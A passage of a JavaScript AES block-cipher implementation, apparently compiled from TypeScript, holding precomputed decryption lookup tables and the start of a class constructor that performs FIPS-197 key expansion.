0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8];\nconst T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0];\n// Transformations for decryption key expansion\nconst U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3];\nconst U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697];\nconst U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46];\nconst U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d];\nfunction convertToInt32(bytes) {\n const result = [];\n for (let i = 0; i < bytes.length; i += 4) {\n result.push((bytes[i] << 24) | (bytes[i + 1] << 16) | (bytes[i + 2] << 8) | bytes[i + 3]);\n }\n return result;\n}\nexport class AES {\n get key() { return __classPrivateFieldGet(this, _AES_key, \"f\").slice(); }\n constructor(key) {\n _AES_key.set(this, void 0);\n _AES_Kd.set(this, void 0);\n _AES_Ke.set(this, void 0);\n if (!(this instanceof AES)) {\n throw Error('AES must be instanitated with `new`');\n }\n __classPrivateFieldSet(this, _AES_key, new Uint8Array(key), \"f\");\n const rounds = numberOfRounds[this.key.length];\n if (rounds == null) {\n throw new TypeError('invalid key size (must be 16, 24 or 32 bytes)');\n }\n // encryption round keys\n __classPrivateFieldSet(this, _AES_Ke, [], \"f\");\n // decryption round keys\n __classPrivateFieldSet(this, _AES_Kd, [], \"f\");\n for (let i = 0; i <= rounds; i++) {\n __classPrivateFieldGet(this, _AES_Ke, \"f\").push([0, 0, 0, 0]);\n __classPrivateFieldGet(this, _AES_Kd, \"f\").push([0, 0, 0, 0]);\n }\n const roundKeyCount = (rounds + 1) * 4;\n const KC = this.key.length / 4;\n // convert the key into ints\n const tk = convertToInt32(this.key);\n // copy values into round key arrays\n let index;\n for (let i = 0; i < KC; i++) {\n index = i >> 2;\n __classPrivateFieldGet(this, _AES_Ke, \"f\")[index][i % 4] = tk[i];\n __classPrivateFieldGet(this, _AES_Kd, \"f\")[rounds - index][i % 4] = tk[i];\n }\n // key expansion (fips-197 section 5.2)\n let rconpointer = 0;\n let t = KC, tt;\n while (t < roundKeyCount) {\n tt = tk[KC - 1];\n tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^\n (S[(tt >> 8) & 0xFF] << 16) ^\n (S[tt & 0xFF] << 8) ^\n S[(tt >> 24) & 0xFF] ^\n (rcon[rconpointer] << 24));\n rconpointer += 1;\n // key expansion (for non-256 bit)\n if (KC != 8) {\n for (let i = 1; i < KC; i++) {\n tk[i] ^= tk[i - 1];\n }\n // key expansion for 256-bit keys is \"slightly different\" (fips-197)\n }\n else {\n for (let i = 1; i < (KC / 2); i++) {\n tk[i] ^= tk[i - 1];\n }\n tt = tk[(KC / 2) - 1];\n tk[KC / 2] ^= (S[tt & 0xFF] ^\n (S[(tt >> 8) & 0xFF] << 8) ^\n (S[(tt >> 16) & 0xFF] << 16) ^\n (S[(tt >> 24) & 0xFF] << 24));\n for (let i = (KC / 2) + 1; i < KC; i++) {\n tk[i] ^= tk[i - 1];\n }\n }\n // copy values into round key arrays\n let i = 0, r, c;\n while (i < KC && t < roundKeyCount) {\n r = t >> 2;\n c = t % 4;\n __classPrivateFieldGet(this, _AES_Ke, 